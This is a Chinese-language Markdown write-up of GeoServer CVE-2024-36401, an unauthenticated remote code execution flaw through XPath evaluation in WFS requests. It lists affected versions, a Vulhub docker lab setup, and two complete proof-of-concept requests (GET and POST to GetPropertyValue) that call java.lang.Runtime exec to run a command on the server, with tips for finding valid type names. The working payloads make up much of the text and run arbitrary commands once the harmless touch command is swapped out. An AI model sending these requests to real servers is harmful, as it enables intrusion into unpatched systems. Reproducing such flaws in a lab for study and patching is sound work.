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102 lines
4.0 KiB
Markdown
102 lines
4.0 KiB
Markdown
# GeoServer 属性名表达式前台代码执行漏洞 CVE-2024-36401
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## 漏洞描述
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GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现，利用 GeoServer 可以方便的发布地图数据，允许用户对特征数据进行更新、删除、插入操作。
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在 GeoServer 2.25.1， 2.24.3， 2.23.5 版本及以前，未登录的任意用户可以通过构造恶意 OGC 请求，在默认安装的服务器中执行 XPath 表达式，进而利用执行 Apache Commons Jxpath 提供的功能执行任意代码。
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参考链接：
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- https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
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- https://github.com/geotools/geotools/security/advisories/GHSA-w3pj-wh35-fq8w
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- https://tttang.com/archive/1771/
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- https://github.com/Warxim/CVE-2022-41852
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## 漏洞影响
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```
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GeoServer ≤ 2.23.5
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2.24.0 <= GeoServer ≤ 2.24.3
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2.25.0 <= GeoServer ≤ 2.25.1
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```
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## 环境搭建
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Vulhub 执行如下命令启动一个 GeoServer 2.23.2 服务器：
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```
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docker compose up -d
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```
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服务启动后，你可以在 `http://your-ip:8080/geoserver` 查看到 GeoServer 的默认页面。
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## 漏洞复现
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在官方 [漏洞通告](https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv) 中提到可以找到漏洞相关的 WFS 方法：
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> No public PoC is provided but this vulnerability has been confirmed to be exploitable through WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic and WPS Execute requests.
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> 未提供公开 PoC，但已确认可通过 WFS GetFeature、WFS GetPropertyValue、WMS GetMap、WMS GetFeatureInfo、WMS GetLegendGraphic 和 WPS Execute 利用此漏洞。
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Vulhub 使用 `GetPropertyValue` 来执行 xpath 表达式，参考 [官方文档](https://github.com/geoserver/geoserver/blob/2.23.2/doc/en/user/source/services/wfs/reference.rst) 构造两个 POC。基于 GET 方法的 POC：
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```
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GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/awesome_poc1') HTTP/1.1
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Host: your-ip:8080
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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```
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基于 POST 方法的 POC：
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```
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POST /geoserver/wfs HTTP/1.1
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Host: your-ip:8080
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: application/xml
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Content-Length: 356
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<wfs:GetPropertyValue service='WFS' version='2.0.0'
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xmlns:topp='http://www.openplans.org/topp'
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xmlns:fes='http://www.opengis.net/fes/2.0'
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xmlns:wfs='http://www.opengis.net/wfs/2.0'>
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<wfs:Query typeNames='sf:archsites'/>
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<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/awesome_poc2')</wfs:valueReference>
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</wfs:GetPropertyValue>
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```
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均触发 `java.lang.ClassCastException` 类型转换异常，命令执行成功。
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进入容器验证 `touch /tmp/awesome_poc1` 和 `touch /tmp/awesome_poc2` 执行结果：
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Payload 中的 typeNames 必须存在，例如：
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```
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<wfs:Query typeNames='sf:archsites'/>
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```
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可以在 Web 页面中找到当前服务器中的所有 Types：
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```
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http://your-ip:8080/geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage?2&filter=false
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```
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